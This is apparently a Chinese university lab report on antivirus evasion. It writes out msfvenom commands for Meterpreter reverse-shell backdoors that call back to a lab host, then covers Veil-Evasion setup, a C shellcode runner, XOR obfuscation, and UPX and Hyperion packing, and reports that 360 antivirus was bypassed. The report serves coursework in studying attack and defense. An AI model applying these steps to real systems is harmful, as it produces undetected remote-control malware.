2019-2020-2 20175225张元瑞《网络对抗技术》Exp3 免杀原理与实践
实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
- 2.通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验过程
实验准备即相关知识
VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
- 链接如下:
Msfvenom使用编码器
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
- 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
Veil-Evasion
- Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。
C语言调用Shellcode
- 就是一个半手工打造恶意软件的例子。
加壳
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
- 从技术上分壳分为:
- 压缩壳
- 加密壳
- 虚拟机
任务一、正确使用免杀工具或技巧
一、正确使用msf编码器
- 将实验二中用msf命令生成的后门程序
20175225_backdoor.exe
放到VirusTotal中扫描结果如下:
- 然后输入对应命令,进行多次编码尝试降低检出率
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.132 LPORT=5225 -f exe > 20175225_backdoor2.exe
- 再进入上述网站扫描
不知道为啥没什么效果
msfvenom生成如jar之类的其他文件
-
1.生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.80.132 lport=5225 x> 20175225_JAVAbackdoor.jar
- 扫描结果:检测率降低了
-
2.生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5225 R > 20175225_APKbackdoor.apk
- 扫描结果和jar差不多
-
3.生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.132 lport=5225 x> 20175225_PHPbackdoor.php
- 扫描结果:降低了很多
三、利用veil-evasion
- kail里没有veil,所以要先进行安装
- 在安装前执行下列命令,做好准备
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 使用命令
sudo apt-get install veil-evasion
安装veil - 下载好后用
veil
打开veil进行安装
-
安装完成后输入
veil
运行,然后选择y
进一步安装软件 -
出现绿色的指令界面表示安装成功
生成python文件
- 输入
use evasion
命令进入Evil-Evasion界面
- 输入
list
查看可用的playload - 选择一个可用的playload,输入
use
编号,如这里选择使用python语言的python/meterpreter/rev_tc
,就输入use 28
- 设置反弹连接LHOST:
set LHOST 192.168.80.132
、端口LPOST:set LPORT 5225
,最后输入options
查看确认
- 输入
generate
生成文件,接着输入你想要playload的名字
- 扫描结果
四、使用C + shellcode编程
- 首先我们需要先生成一段shellcode(注意看一下虚拟机的ip地址,血的教训)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5225 -f c
- 然后创建一个c文件
zyrshell.c
,将下述代码及新建的shellcode复制进去
unsigned char buf[] = 'shellcode'
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 因为我们需要将这个放入windoes下运行,所以需要进行交叉编译(没有的话可以
sudo apt-get install mingw-w64
下载编译软件)
i686-w64-mingw32-g++ wpyshell.c -o wpyshell.exe
- 测试可用性同时放入上述网站扫描
五、加壳工具
- 1.给上面的shellcode加一个压缩壳(UPX):
upx zyrshell.exe -o zyrshellupxed.exe
- 在运行时还是能被360检测出来
- 测试可用性及上传扫描,扫描结果相对与没有加壳还是要好那么一点
- 2.加密壳处理:将之前生成的exe文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 加壳命令
wine hyperion.exe -v zyrshellupxed.exe 5225-zyrshellhyperion.exe
-测试回连及上传扫描
- 在使用360检测时发现经过了加密壳后的后门程序没有被检测出来
六、使用其他课堂未介绍方法
- 对shellcode进行免杀变形
-
用msfvenom生成shellcode
-
将shellcode中每一位于'0'进行异或
-
将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率
-
将最终的shellcode生成为一个可执行文件
-
使用VirusTotal检测结果:
-
任务二、通过组合应用各种技术实现恶意代码免杀
通过C+shellcode+免杀变形+压缩壳+加密壳的方式进行组合,达到免杀的目的。
-
经过了免杀变形的shellcode相比原来的检测结果确实变少了,但是经过了压缩壳和加密壳后再进行检测时能被检测出的数量确有所增加,这和任务一中的情况是相反的
-
免杀变形后的shellcode是能被360检测出来的,而经过了压缩壳和加密壳后的360是无法检测出来的。
-
使用VirusTotal检测结果最终经过加密壳的结果:
- 回连情况:
- 360监测情况:
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
电脑环境:Win7虚拟机
-
杀软版本:12.0.0.2001
-
备用木马库:2020-03-26
- 回连情况:
实验总结
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码检测
- 很多软件都会有各种特征码记成的特征库
- 恶意软件的一个或几个片断就可作为识别依据。
- 也有启发式恶意软件的检测
- 有种宁杀错不放过的感觉
- 基于行为的检测
(2)免杀是做什么?
- 免杀就是通过某些手段对软件进行处理,让它不会被杀毒软件检测出来
(3)免杀的基本方法有哪些?
根据杀软检测恶意软件的手段,即大致技术
- 1.改变特征码
- 加壳:压缩壳 加密壳
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 用其他语言进行重写再编译(veil-evasion)
- 2.改变行为
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 3.非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 答案很明显,必不可能,就拿我做实验来说吧,我最开始没下360,我用的是金山毒霸,在做任务一时运行后门程序他压根一点反应都没有,所以杀软有用吗,害,最后还是用了360才扫出来了,而且我们这个后门程序还比较低级,如果是那种高级的恶意代码杀软就更没用了,所以我们还是加强自己的安全意识,不乱点,乱浏览,最好能自己多研究,就能保护自己的电脑叭。
实验中遇到的问题:在安装veil时一直出现下图的提示:
- 解决方法:经查询发现是kali源错了,将kali源更换,再次进行还是出错,然后根据他的提示,在
sudo apt-get install veil-evasion
后面加上--fixing-missing就可以了。
实验反思与总结
- 通过本次实验我提高了我的心理承受能力,首先安装veil出现问题,而且是莫名其妙的问题,大家都不知道,然后在同学帮助以及查询资料下解决了,然后在实验进行关键步骤的时候,电脑死掉了,心态又一次崩掉了,不管怎样,最后还是完成。
- 言归正传,本次实验收获很多,首先是对后门程序的进行加工从而防范免杀的过程有了更好的认识和了解,学习到了免杀的相关知识,还知道了测试后门程序安全性的工具。
- 本次实验让我印象最深刻的还是杀毒软件,我的杀毒软件最开始居然没有检测出后门程序,以前以为杀毒软件是万能的,现在看来,害,我们还是得自身学好相关知识,加强这方面的防范,这样才能降低我们主机被入侵的可能。